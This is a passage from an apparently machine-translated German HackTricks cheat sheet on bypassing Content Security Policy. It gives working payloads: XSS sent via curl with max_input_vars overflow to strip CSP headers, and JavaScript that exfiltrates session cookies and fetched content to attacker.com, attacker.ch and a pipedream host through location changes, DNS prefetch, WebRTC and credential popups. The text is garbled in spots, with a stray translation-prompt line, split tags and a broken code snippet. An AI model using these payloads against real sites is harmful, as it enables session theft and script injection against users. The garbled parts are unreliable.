Es ist interessant zu bemerken, dass Browser wie Chrome und Firefox unterschiedliche Verhaltensweisen beim Umgang mit iframes in Bezug auf CSP zeigen, was aufgrund von undefiniertem Verhalten zu möglicher leakage sensibler Informationen führen kann.
Eine weitere Technik nutzt die CSP selbst, um die geheime Subdomain zu ermitteln. Diese Methode basiert auf einem binären Suchalgorithmus und dem Anpassen der CSP, um bestimmte Domains absichtlich zu blockieren. Zum Beispiel, wenn die geheime Subdomain aus unbekannten Zeichen besteht, kann man iterativ verschiedene Subdomains testen, indem man die CSP-Direktive ändert, um diese Subdomains zu blockieren oder zu erlauben. Hier ist ein Snippet, das zeigt, wie die CSP eingerichtet sein könnte, um diese Methode zu erleichtern:
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
Indem man überwacht, welche Requests von der CSP blockiert oder zugelassen werden, kann man die möglichen Zeichen der geheimen Subdomain eingrenzen und schließlich die vollständige URL aufdecken.
Beide Methoden nutzen Nuancen der CSP-Implementierung und des Verhaltens von Browsern aus und zeigen, wie scheinbar sichere Policies unbeabsichtigt sensitive information leak.
Trick from here.
Unsichere Techniken zum Umgehen von CSP
PHP Errors when too many params
According to the last technique commented in this video, sending too many parameters (1001 GET parameters although you can also do it with POST params and more that 20 files). Any defined header()
in the PHP web code won't be sent because of the error that this will trigger.
PHP response buffer overload
PHP ist dafür bekannt, standardmäßig die Antwort bis 4096 bytes zu puffern. Daher: wenn PHP eine Warnung ausgibt, kann man durch Bereitstellen von genug Daten in den Warnungen erreichen, dass die Antwort vor dem CSP-Header gesendet wird, wodurch der Header ignoriert wird.\
Die Technik besteht im Wesentlichen darin, den Response-Buffer mit Warnungen zu füllen, sodass der CSP-Header nicht gesendet wird.
Idea from this writeup.
Kill CSP via max_input_vars (headers already sent)
Da Header vor jeglicher Ausgabe gesendet werden müssen, können von PHP ausgegebene Warnungen spätere header()
-Aufrufe ungültig machen. Wenn Nutzereingaben max_input_vars
überschreiten, wirft PHP zuerst eine Startup-Warnung; jeder nachfolgende header('Content-Security-Policy: ...')
schlägt mit “headers already sent” fehl, wodurch CSP effektiv deaktiviert wird und sonst blockierte reflective XSS ermöglicht wird.
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
Bitte den Inhalt der Datei (README.md) hier einfügen — ich übersetze ihn gemäß den Vorgaben.
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
Fehlerseite umschreiben
Aus this writeup scheint es möglich gewesen zu sein, einen CSP-Schutz zu umgehen, indem man eine Fehlerseite (möglicherweise ohne CSP) lädt und deren Inhalt umschreibt.
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)
SOME + 'self' + wordpress
SOME ist eine Technik, die eine XSS (oder stark eingeschränkte XSS) in einem endpoint einer Seite ausnutzt, um andere endpoints derselben same origin zu missbrauchen. Dies geschieht, indem der verwundbare endpoint von einer attacker page geladen und anschließend die attacker page zur echten Origin/endpoint, die man ausnutzen möchte, neu geladen wird. Auf diese Weise kann der verwundbare endpoint das opener
-Objekt im payload nutzen, um auf das DOM des echten auszunutzenden endpoints zuzugreifen. Für weitere Informationen siehe:
SOME - Same Origin Method Execution
Außerdem hat wordpress einen JSONP endpoint in /wp-json/wp/v2/users/1?_jsonp=data
, der die gesendeten data im Output reflect (mit der Einschränkung auf Buchstaben, Zahlen und Punkte).
Ein attacker kann diesen endpoint missbrauchen, um einen SOME attack gegen WordPress zu generieren und ihn innerhalb von <script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
einzubetten — beachte, dass dieses script geladen wird, weil es von 'self' erlaubt ist. Außerdem, und da WordPress installiert ist, könnte ein attacker den SOME attack über den verwundbaren callback endpoint missbrauchen, der die CSP bypasses, um einem user mehr Rechte zu geben, ein neues plugin zu installieren...
For more information about how to perform this attack check https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
CSP Exfiltration Bypasses
Wenn eine strikte CSP vorhanden ist, die es nicht erlaubt, mit externen Servern zu interagieren, gibt es dennoch einige Dinge, mit denen du die Informationen exfiltrieren kannst.
Location
Du könntest einfach die location aktualisieren, um die geheimen Informationen an den attacker's server zu senden:
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
Meta tag
Du könntest durch Einfügen eines meta tag umleiten (das ist nur eine Weiterleitung, das wird keinen leak von Inhalten verursachen)
<meta http-equiv="refresh" content="1; http://attacker.com" />
DNS Prefetch
Um Seiten schneller zu laden, lösen Browser Hostnamen vorab in IP-Adressen auf und cachen sie zur späteren Verwendung.
Du kannst den Browser anweisen, einen Hostnamen vorab aufzulösen mit: <link rel="dns-prefetch" href="something.com">
Du könntest dieses Verhalten missbrauchen, um exfiltrate sensitive information via DNS requests:
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'
Eine andere Möglichkeit:
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
Um dies zu verhindern, kann der Server den HTTP-Header senden:
X-DNS-Prefetch-Control: off
tip
Anscheinend funktioniert diese Technik nicht in headless browsers (bots)
WebRTC
Auf mehreren Seiten liest man, dass WebRTC die connect-src
-Richtlinie der CSP nicht prüft.
Tatsächlich kannst du Informationen mithilfe einer DNS request leak. Schau dir diesen Code an:
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
Eine andere Option:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
CredentialsContainer
Das credential popup sendet eine DNS-Anfrage an die iconURL, ohne von der Seite eingeschränkt zu werden. Es funktioniert nur in einem sicheren Kontext (HTTPS) oder auf localhost.
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)
CSP-Richtlinien online prüfen
CSP automatisch erstellen
https://csper.io/docs/generating-content-security-policy
Quellen
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
- https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
- https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket
- The Art of PHP: CTF‑born exploits and techniques
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.